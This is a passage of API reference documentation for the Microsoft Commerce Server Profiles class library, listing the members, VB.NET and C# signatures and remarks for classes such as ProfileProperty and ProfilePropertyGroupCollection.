Throws an ArgumentNullException if the name parameter is null. Throws an InvalidOperationException in a valid value was not provided for the bdaoConnstr parameter of the constructor.

Throws a CommerceProfileSystemException if the SiteTerms collection was not successfully initialized. The Message and ErrorCode properties of the inner COMException contain details on the specific error that occurred.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Build a Login Page

Code to Create and Set Profile Properties

Code to Retrieve and Display Profile Properties

Code to Use the SiteTerm Class


ProfileContext Properties (BCL)

Public Instance Properties

Property | Description
CommerceOleDbProvider | Accesses the Commerce OLEDB provider handle.
SiteTermNames | Gets the SiteTerms collection.

See Also

Code to Build a Login Page

Code to Create and Set Profile Properties

Code to Retrieve and Display Profile Properties

Code to Use the SiteTerm Class


ProfileContext.CommerceOleDbProvider Property (BCL)

Accesses the Commerce OLEDB provider handle.

Definition

[Visual Basic .NET]
Public ReadOnly Property CommerceOleDbProvider As ADODB.Connection
[C#]
public ADODB.Connection CommerceOleDbProvider {get;}

Property Value

The Commerce OLEDB provider handle.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Build a Login Page

Code to Create and Set Profile Properties

Code to Retrieve and Display Profile Properties

Code to Use the SiteTerm Class


ProfileContext.SiteTermNames Property (BCL)

Gets the SiteTerms collection.

Definition

[Visual Basic .NET]
Public ReadOnly Property SiteTermNames As System.Collections.ArrayList
[C#]
public System.Collections.ArrayList SiteTermNames {get;}

Property Value

The SiteTerms collection.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Build a Login Page

Code to Create and Set Profile Properties

Code to Retrieve and Display Profile Properties

Code to Use the SiteTerm Class


ProfileDataType Enumeration (BCL)

Enumerates all the profile data types exposed by the Profiles Base Class Library.

Members

Member name | Description
Binary | Indicates a Binary datatype. Corresponds to ADODB.DataTypeEnum.adBinary with a maximum storage size of 4K bytes.
Boolean | Indicates a Boolean datatype. Corresponds to ADODB.DataTypeEnum.adBoolean.
Currency | Indicates a Currency datatype. Corresponds to ADODB.DataTypeEnum.adCurrency.
DateTime | Indicates a DateTime datatype. Corresponds to ADODB.DataTypeEnum.adDateTime.
Double | Indicates a Double datatype. Corresponds to ADODB.DataTypeEnum.adDouble.
Integer | Indicates an Integer datatype. Corresponds to ADODB.DataTypeEnum.adInteger.
LongBinary | Indicates a Binary data type. Corresponds to ADODB.DataTypeEnum.adBinary, with a maximum storage size of 128*K bytes.
LongString | Indicates a LongString datatype. Corresponds to ADODB.DataTypeEnum.adBSTR and ADODB.DataTypeEnum.adWCHAR with a maximum storage size of 128*1024 characters.
Short | Indicates a Short datatype. Corresponds to ADODB.DataTypeEnum.adSmallInt.
Single | Indicates a Single datatype. Corresponds to ADODB.DataTypeEnum.adSingle.
String | Indicates a String datatype. Corresponds to ADODB.DataTypeEnum.adBSTR and ADODB.DataTypeEnum.adWCHAR with a maximum storage size of 4000 characters.
Variant | Indicates a Variant datatype. Corresponds to ADODB.DataTypeEnum.adVariant.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


IProfileElements Interface (BCL)

An interface that encapsulates the common collections exposed by Profile and ProfilePropertyGroup objects.

Public Instance Properties

Property | Description
Properties | Retrieves the Property collection on this Profile object.
PropertyGroups | Retrieves the PropertyGroups collection on this Profile object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: W indows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


IProfileElements Properties (BCL)

Public Instance Properties

Property | Description
Properties | Retrieves the Property collection on this Profile object.
PropertyGroups | Retrieves the PropertyGroups collection on this Profile object.


IProfileElements.Properties Property (BCL)

The Properties property retrieves the Property collection on this Profile object.

Definition

[Visual Basic .NET]
Public ReadOnly Property Properties As ProfilePropertyCollection
[C#]
public ProfilePropertyCollection Properties {get;}

Property Value

The ProfilePropertyCollection object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: W indows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


IProfileElements.PropertyGroups Property (BCL)

The PropertyGroups property retrieves the PropertyGroups collection on this Profile object.

Definition

[Visual Basic .NET]
Public ReadOnly Property PropertyGroups As ProfilePropertyGroupCollection
[C#]
public ProfilePropertyGroupCollection PropertyGroups {get;}

Property Value

The ProfilePropertyGroupCollection object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: W indows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProfileProperty Class (BCL)

Creates an abstraction for the profile property.

Public Instance Methods

Method | Description
Dispose | Releases resources used by this object.
GetProfiles(String) | Retrieves a profile object collection of the specified profile type, using the current property values as the values for the primary key.
GetProfiles(String, String) | Retrieves a profile object collection of the specified profile type by the specified key member name, using the current property values as the values the primary key.

Public Instance Properties

Property | Description
Attributes | Retrieves the profile property attributes collection.
IsMultivalued | Indicates if this is a multivalued property.
MaxSize | Gets maximum size for this property.
Name | Retrieves the property name.
Type | Retrieves the profile property data type.
Value | Accesses the property value.

Remarks

When assigning values to the ProfileProperty.Value member, do not pass an array of strings with one or more null elements. Doing so will cause an exception to be thrown, and the ProfileProperty.Value member assignment will not occur.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProfileProperty Methods (BCL)

Public Instance Methods

Method | Description
Dispose | Releases resources used by this object.
GetProfiles(String) | Retrieves a profile object collection of the specified profile type, using the current property values as the values for the primary key.
GetProfiles(String, String) | Retrieves a profile object collection of the specified profile type by the specified key member name, using the current property values as the values the primary key.


ProfileProperty.Dispose Method (BCL)

Use this method to release resources used by this object.

Definition

[Visual Basic .NET]
Overridable Public Sub Dispose( _
)
[C#]
public virtual void Dispose(
);

Implements

System.IDisposable

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProfileProperty.GetProfiles (String) Method (BCL)

Use this method to retrieve a profile object collection of the specified profile type, using the current property values as the values for the primary key.

Definition

[Visual Basic .NET]
Public Function GetProfiles( _
  ByVal profileType As System.String, _
) As Microsoft.CommerceServer.Runtime.Profiles.ProfileCollection
[C#]
public Microsoft.CommerceServer.Runtime.Profiles.ProfileCollection GetProfiles(
  System.String profileType,
);

Parameters

[Visual Basic .NET]
profileType
A String that contains the profile type of interest.
[C#]
profileType
A String that contains the profile type of interest.

Return Value

A profile object collection of the specified profile type

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProfileProperty.GetProfiles (String, String) Method (BCL)

Use this method to retrieve a profile object collection of the specified profile type by the specified key member name, using the current property values as the values the primary key.

Definition

[Visual Basic .NET]
Public Function GetProfiles( _
  ByVal keyName As System.String, _
  ByVal profileType As System.String, _
) As Microsoft.CommerceServer.Runtime.Profiles.ProfileCollection
[C#]
public Microsoft.CommerceServer.Runtime.Profiles.ProfileCollection GetProfiles(
  System.String keyName,
  System.String profileType,
);

Parameters

[Visual Basic .NET]
keyName
A String that contains the key member to retrieve the profile.
profileType
A String that contains the profile type of interest.
[C#]
keyName
A String that contains the key member to retrieve the profile.
profileType
A String that contains the profile type of interest.

Return Value

A profile object collection of the specified profile type

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProfileProperty Properties (BCL)

Public Instance Properties

Property | Description
Attributes | Retrieves the profile property attributes collection.
IsMultivalued | Indicates if this is a multivalued property.
MaxSize | Gets maximum size for this property.
Name | Retrieves the property name.
Type | Retrieves the profile property data type.
Value | Accesses the property value.


ProfileProperty.Attributes Property (BCL)

The Attributes property retrieves the profile property attributes collection.

Definition

[Visual Basic .NET]
Public ReadOnly Property Attributes As ProfilePropertyAttributeCollection
[C#]
public ProfilePropertyAttributeCollection Attributes {get;}

Property Value

A ProfilePropertyAttributeCollection containing the profile property attributes.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProfileProperty.IsMultivalued Property (BCL)

The IsMultivalued property indicates if this is a multivalued property.

Definition

[Visual Basic .NET]
Public ReadOnly Property IsMultivalued As System.Boolean
[C#]
public System.Boolean IsMultivalued {get;}

Property Value

A System.Boolean indicating if this is a multivalued property.

Remarks

Returns True, if this is a multivalued property; False otherwise.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProfileProperty.MaxSize Property (BCL)

The MaxSize property get the maximum size for this property.

Definition

[Visual Basic .NET]
Public ReadOnly Property MaxSize As System.Int32
[C#]
public System.Int32 MaxSize {get;}

Property Value

The maximum size for this property.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProfileProperty.Name Property (BCL)

The Name property retrieves the property name.

Definition

[Visual Basic .NET]
Public ReadOnly Property Name As System.String
[C#]
public System.String Name {get;}

Property Value

The property name.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProfileProperty.Type Property (BCL)

The Type property retrieves the profile property data type.

Definition

[Visual Basic .NET]
Public ReadOnly Property Type As ProfileDataType
[C#]
public ProfileDataType Type {get;}

Property Value

A ProfileDataType object indicating the datatype of the profile property.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProfileProperty.Value Property (BCL)

The Value property accesses the property value.

Definition

[Visual Basic .NET]
Public Property Value As System.Object
[C#]
public System.Object Value {get; set;}

Property Value

A System.Object containing the value of the property.

Remarks

When assigning values to the ProfileProperty.Value member, do not pass an array of strings with one or more null elements. Doing so will cause an exception to be thrown, and the ProfileProperty.Value member assignment will not occur.

When dealing with implementations involving the encryption of profile properties, note that the KeyIndex ProfileProperty.Value property is read-only, and will throw an exception if you write to it.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProfilePropertyAttribute Class (BCL)

This class serves as an abstraction for a profile property attribute.

Public Instance Properties

Property | Description
Name | Contains the name of the property attribute.
Value | Contains the value of the property attribute.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProfilePropertyAttribute Properties (BCL)

Public Instance Properties

Property | Description
Name | Contains the name of the property attribute.
Value | Contains the value of the property attribute.


ProfilePropertyAttribute.Name Property (BCL)

The Name property contains the name of the property attribute.

Definition

[Visual Basic .NET]
Public ReadOnly Property Name As System.String
[C#]
public System.String Name {get;}

Property Value

A System.Object containing the name of the attribute.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProfilePropertyAttribute.Value Property (BCL)

The Value property contains the value of the property attribute.

Definition

[Visual Basic .NET]
Public ReadOnly Property Value As System.Object
[C#]
public System.Object Value {get;}

Property Value

A System.Object containing the value of the attribute.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProfilePropertyAttributeCollection Class (BCL)

The ICollection implementation for the profile attributes collection.

Public Instance Methods

Method | Description
CopyTo(Array, Int32) | Explicit ICollection.CopyTo implementation. This method copies the elements of this collection into the specified array.
GetEnumerator | Retrieves the enumerator on this collection.

Public Instance Properties

Property | Description
Count | Returns the count of this collection.
IsSynchronized | Indicates whether this collection supports synchronization.
Item(String) | Indexer to allow for accessing the ProfilePropertyAttribute collection by name.
Item(Int32) | Indexer to allow for accessing the ProfilePropertyAttribute collection by index.
SyncRoot | Retrieves the object for synchronizing operations on this collection.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProfilePropertyAttributeCollection Methods (BCL)

Public Instance Methods

Method | Description
CopyTo(Array, Int32) | Explicit ICollection.CopyTo implementation. This method copies the elements of this collection into the specified array.
GetEnumerator | Retrieves the enumerator on this collection.


ProfilePropertyAttributeCollection.CopyTo (Array, Int32) Method (BCL)

Explicit ICollection.CopyTo implementation. This method copies the elements of this collection into the specified array.

Definition

[Visual Basic .NET]
Overridable Public Sub CopyTo( _
  ByVal array As System.Array, _
  ByVal index As System.Int32 _
)
[C#]
public virtual void CopyTo(
  System.Array array,
  System.Int32 index
);

Parameters

[Visual Basic .NET]
array
Array to copy data to.
index
The zero-based index in the array at which copying begins.
[C#]
array
Array to copy data to.
index
The zero-based index in the array at which copying begins.

Implements

System.Collections.ICollection

Remarks

Always throws a NotImplementedException exception.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProfilePropertyAttributeCollection.GetEnumerator Method (BCL)

Use this method to retrieve the enumerator on this collection.

Definition

[Visual Basic .NET]
Overridable Public Function GetEnumerator( _
) As System.Collections.IEnumerator
[C#]
public virtual System.Collections.IEnumerator GetEnumerator(
);

Implements

System.IEnumerable

Return Value

The handle to an IEnumerator interface implementation for this collection.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProfilePropertyAttributeCollection Properties (BCL)

Public Instance Properties

Property | Description
Count | Returns the count of this collection.
IsSynchronized | Indicates whether this collection supports synchronization.
Item(String) | Indexer to allow for accessing the ProfilePropertyAttribute collection by name.
Item(Int32) | Indexer to allow for accessing the ProfilePropertyAttribute collection by index.
SyncRoot | Retrieves the object for synchronizing operations on this collection.


ProfilePropertyAttributeCollection.Count Property (BCL)

The Count property returns the count of this collection.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property Count As System.Int32
[C#]
public virtual System.Int32 Count {get;}

Property Value

A System.Int32 indicating the number of ProfilePropertyAttributes items.

Implements

System.Collections.ICollection

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProfilePropertyAttributeCollection.IsSynchronized Property (BCL)

The IsSynchronized property indicates whether this collection supports synchronization.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property IsSynchronized As System.Boolean
[C#]
public virtual System.Boolean IsSynchronized {get;}

Property Value

A Boolean indicating whether access to the collection is synchronized.

Implements

System.Collections.ICollection

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProfilePropertyAttributeCollection.Item(Int32) Property (BCL)

The Item property allows for accessing the ProfilePropertyAttribute collection items by index.

Definition

[Visual Basic .NET]
Public ReadOnly Property Item( _
  ByVal index As System.Int32 _
) As ProfilePropertyAttribute
[C#]
public ProfilePropertyAttribute Item(
  System.Int32 index
) {get;}

Parameters

[Visual Basic .NET]
index
Specifies the zero-based index item in the ProfilePropertyAttribute collection to return.
[C#]
index
Specifies the zero-based index item in the ProfilePropertyAttribute collection to return.

Property Value

The handle to the specified ProfilePropertyAttribute instance.

Remarks

Throws and ArgumentOutOfRange exception if the parameter is out of range.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProfilePropertyAttributeCollection.Item(String) Property (BCL)

The Item property allows for accessing the ProfilePropertyAttribute collection items by index.

Definition

[Visual Basic .NET]
Public ReadOnly Property Item( _
  ByVal name As System.String _
) As ProfilePropertyAttribute
[C#]
public ProfilePropertyAttribute Item(
  System.String name
) {get;}

Parameters

[Visual Basic .NET]
name
A System.String containing the name of the ProfilePropertyAttribute
[C#]
name
A System.String containing the name of the ProfilePropertyAttribute

Property Value

The handle to the specified ProfilePropertyAttribute instance.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProfilePropertyAttributeCollection.SyncRoot Property (BCL)

The SyncRoot property retrieves the object for synchronizing operations on this collection.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property SyncRoot As System.Object
[C#]
public virtual System.Object SyncRoot {get;}

Property Value

The object used for synchronized access to the collection.

Implements

System.Collections.ICollection

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProfilePropertyCollection Class (BCL)

Creates an abstraction for the profile properties collection.

Public Instance Methods

Method | Description
CopyTo(Array, Int32) | Copies specified element to the specified array.
GetEnumerator | Retrieves the enumerator on this collection.

Public Instance Properties

Property | Description
Count | Returns the count of this collection.
IsSynchronized | Indicates whether this collection supports synchronization.
Item(Int32) | Indexer to allow for accessing the ProfileProperty collection by index.
Item(String) | Indexer to allow for accessing the ProfileProperty collection by name.
SyncRoot | Retrieves the object for synchronizing operations on this collection.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProfilePropertyCollection Methods (BCL)

Public Instance Methods

Method | Description
CopyTo(Array, Int32) | Copies specified element to the specified array.
GetEnumerator | Retrieves the enumerator on this collection.


ProfilePropertyCollection.CopyTo (Array, Int32) Method (BCL)

Copies specified element to the specified array.

Definition

[Visual Basic .NET]
Overridable Public Sub CopyTo( _
  ByVal array As System.Array, _
  ByVal index As System.Int32 _
)
[C#]
public virtual void CopyTo(
  System.Array array,
  System.Int32 index
);

Parameters

[Visual Basic .NET]
array
The array to copy data to.
index
Zero-based index in array at which copying begins.
[C#]
array
The array to copy data to.
index
Zero-based index in array at which copying begins.

Implements

System.Collections.ICollection

Remarks

Always throws an InvalidOperation exception.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProfilePropertyCollection.GetEnumerator Method (BCL)

Use this method to retrieve the enumerator on this collection.

Definition

[Visual Basic .NET]
Overridable Public Function GetEnumerator( _
) As System.Collections.IEnumerator
[C#]
public virtual System.Collections.IEnumerator GetEnumerator(
);

Implements

System.IEnumerable

Return Value

The handle to an IEnumerator interface implementation for this collection.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProfilePropertyCollection Properties (BCL)

Public Instance Properties

Property | Description
Count | Returns the count of this collection.
IsSynchronized | Indicates whether this collection supports synchronization.
Item(Int32) | Indexer to allow for accessing the ProfileProperty collection by index.
Item(String) | Indexer to allow for accessing the ProfileProperty collection by name.
SyncRoot | Retrieves the object for synchronizing operations on this collection.


ProfilePropertyCollection.Count Property (BCL)

The Count property returns the count of this collection.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property Count As System.Int32
[C#]
public virtual System.Int32 Count {get;}

Implements

System.Collections.ICollection

Property Value

A System.Int32 indicating the number of ProfileProperties in the collection.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProfilePropertyCollection.IsSynchronized Property (BCL)

The IsSynchronized property indicates whether this collection supports synchronization.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property IsSynchronized As System.Boolean
[C#]
public virtual System.Boolean IsSynchronized {get;}

Property Value

A Boolean indicating whether access to the collection is synchronized.

Implements

System.Collections.ICollection

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProfilePropertyCollection.Item(Int32) Property (BCL)

The Item property is an indexer to allow for accessing the ProfileProperty collection by index.

Definition

[Visual Basic .NET]
Public ReadOnly Property Item( _
  ByVal index As System.Int32 _
) As ProfileProperty
[C#]
public ProfileProperty Item(
  System.Int32 index
) {get;}

Parameters

[Visual Basic .NET]
index
The index of the ProfileProperty collection.
[C#]
index
The index of the ProfileProperty collection.

Property Value

Handle to the specified ProfileProperty instance.

Remarks

Throws and ArgumentOutOfRange exception if the parameter is out of range.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProfilePropertyCollection.Item(String) Property (BCL)

The Item property is an indexer to allow for accessing the ProfileProperty collection by name.

Definition

[Visual Basic .NET]
Public ReadOnly Property Item( _
  ByVal name As System.String _
) As ProfileProperty
[C#]
public ProfileProperty Item(
  System.String name
) {get;}

Parameters

[Visual Basic .NET]
name
A System.String containing the name of the ProfileProperty collection.
[C#]
name
A System.String containing the name of the ProfileProperty collection.

Property Value

The handle to the specified ProfileProperty instance.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProfilePropertyCollection.SyncRoot Property (BCL)

The SyncRoot property retrieves the object for synchronizing operations on this collection.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property SyncRoot As System.Object
[C#]
public virtual System.Object SyncRoot {get;}

Property Value

The object used for synchronized access to the collection.

Implements

System.Collections.ICollection

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProfilePropertyGroup Class (BCL)

Creates an abstraction for a profile property group.

Public Instance Methods

Method | Description
Dispose | Releases resources used by this object.

Public Instance Properties

Property | Description
Item(String) | Retrieves the ProfileProperty instance by name.
Name | Accesses the property group name.
Properties | Retrieves the property collection on this property group.
PropertyGroups | Retrieves the property groups collection on this property group.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Create and Set Profile Properties

Code to Retrieve and Display Profile Properties


ProfilePropertyGroup Methods (BCL)

Public Instance Methods

Method | Description
Dispose | Releases resources used by this object.

See Also

Code to Create and Set Profile Properties

Code to Retrieve and Display Profile Properties


ProfilePropertyGroup.Dispose Method (BCL)

Use this method to release resources used by this object.

Definition

[Visual Basic .NET]
Overridable Public Sub Dispose( _
)
[C#]
public virtual void Dispose(
);

Implements

System.IDisposable

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Create and Set Profile Properties

Code to Retrieve and Display Profile Properties


ProfilePropertyGroup Properties (BCL)

Public Instance Properties

Property | Description
Item(String) | Retrieves the ProfileProperty instance by name.
Name | Accesses the property group name.
Properties | Retrieves the property collection on this property group.
PropertyGroups | Retrieves the property groups collection on this property group.

See Also

Code to Create and Set Profile Properties

Code to Retrieve and Display Profile Properties


ProfilePropertyGroup.Item Property (BCL)

The Item property retrieves the ProfileProperty instance by name.

Definition

[Visual Basic .NET]
Public ReadOnly Property Item( _
  ByVal propertyName As System.String _
) As ProfileProperty
[C#]
public ProfileProperty Item(
  System.String propertyName
) {get;}

Parameters

[Visual Basic .NET]
propertyName
A System.String containing the name of the property.
[C#]
propertyName
A System.String containing the name of the property.

Property Value

The ProfileProperty object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Create and Set Profile Properties

Code to Retrieve and Display Profile Properties


ProfilePropertyGroup.Name Property (BCL)

The Name property accesses the property group name.

Definition

[Visual Basic .NET]
Public ReadOnly Property Name As System.String
[C#]
public System.String Name {get;}

Property Value

A System.String containing the name of the property.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Create and Set Profile Properties

Code to Retrieve and Display Profile Properties


ProfilePropertyGroup.Properties Property (BCL)

The Properties property retrieves the property collection on this property group.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property Properties As ProfilePropertyCollection
[C#]
public virtual ProfilePropertyCollection Properties {get;}

Property Value

The ProfilePropertyCollection object.

Implements

IProfileElements

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Create and Set Profile Properties

Code to Retrieve and Display Profile Properties


ProfilePropertyGroup.PropertyGroups Property (BCL)

The PropertyGroups property retrieves the property groups collection on this property group.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property PropertyGroups As ProfilePropertyGroupCollection
[C#]
public virtual ProfilePropertyGroupCollection PropertyGroups {get;}

Property Value

The ProfilePropertyGroupCollection object.

Implements

IProfileElements

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Create and Set Profile Properties

Code to Retrieve and Display Profile Properties


ProfilePropertyGroupCollection Class (BCL)

Creates an abstraction for a property groups collection.

Public Instance Methods

Method | Description
CopyTo(Array, Int32) | Explicit ICollection.CopyTo implementation. Copies the elements of this collection into the specified array.
GetEnumerator | Retrieves the enumerator on this collection.

Public Instance Properties

Property | Description
Count | Returns the count of this collection.
IsSynchronized | Checks to see if this collection supports synchronization.
Item(String) | Retrieves a ProfilePropertyGroup instance by index.
Item(Int32) | Retrieves a ProfilePropertyGroup instance by index.
SyncRoot | Retrieve the object for synchronizing operations on this collection.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Create and Set Profile Properties

Code to Retrieve and Display Profile Properties


ProfilePropertyGroupCollection Methods (BCL)

Public Instance Methods

Method | Description
CopyTo(Array, Int32) | Explicit ICollection.CopyTo implementation. Copies the elements of this collection into the specified array.
GetEnumerator | Retrieves the enumerator on this collection.

See Also

Code to Create and Set Profile Properties

Code to Retrieve and Display Profile Properties


ProfilePropertyGroupCollection.CopyTo (Array, Int32) Method (BCL)

Explicit ICollection.CopyTo implementation. Copies the elements of this collection into the specified array.

Definition

[Visual Basic .NET]
Overridable Public Sub CopyTo( _
  ByVal array As System.Array, _
  ByVal index As System.Int32 _
)
[C#]
public virtual void CopyTo(
  System.Array array,
  System.Int32 index
);

Parameters

[Visual Basic .NET]
array
Array to copy data to.
index
Zero-based index in array at which copying begins.
[C#]
array
Array to copy data to.
index
Zero-based index in array at which copying begins.

Remarks

Always throws a NotImplementedException exception.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Create and Set Profile Properties

Code to Retrieve and Display Profile Properties


ProfilePropertyGroupCollection.GetEnumerator Method (BCL)

Use this method to retrieve the enumerator on this collection.

Definition

[Visual Basic .NET]
Overridable Public Function GetEnumerator( _
) As System.Collections.IEnumerator
[C#]
public virtual System.Collections.IEnumerator GetEnumerator(
);

Implements

System.IEnumerable

Return Value

The handle to an IEnumerator interface implementation for this collection.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Create and Set Profile Properties

Code to Retrieve and Display Profile Properties


ProfilePropertyGroupCollection Properties (BCL)

Public Instance Properties

Property | Description
Count | Returns the count of this collection.
IsSynchronized | Checks to see if this collection supports synchronization.
Item(String) | Retrieves a ProfilePropertyGroup instance by index.
Item(Int32) | Retrieves a ProfilePropertyGroup instance by index.
SyncRoot | Retrieves the object for synchronizing operations on this collection.

See Also

Code to Create and Set Profile Properties

Code to Retrieve and Display Profile Properties


ProfilePropertyGroupCollection.Count Property (BCL)

The Count property returns the count of this collection.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property Count As System.Int32
[C#]
public virtual System.Int32 Count {get;}

Implements

System.Collections.ICollection

Property Value

A System.Int32 indicating the number of ProfileProperties in the collection.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Create and Set Profile Properties

Code to Retrieve and Display Profile Properties


ProfilePropertyGroupCollection.IsSynchronized Property (BCL)

The IsSynchronized property checks to see if this collection supports synchronization.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property IsSynchronized As System.Boolean
[C#]
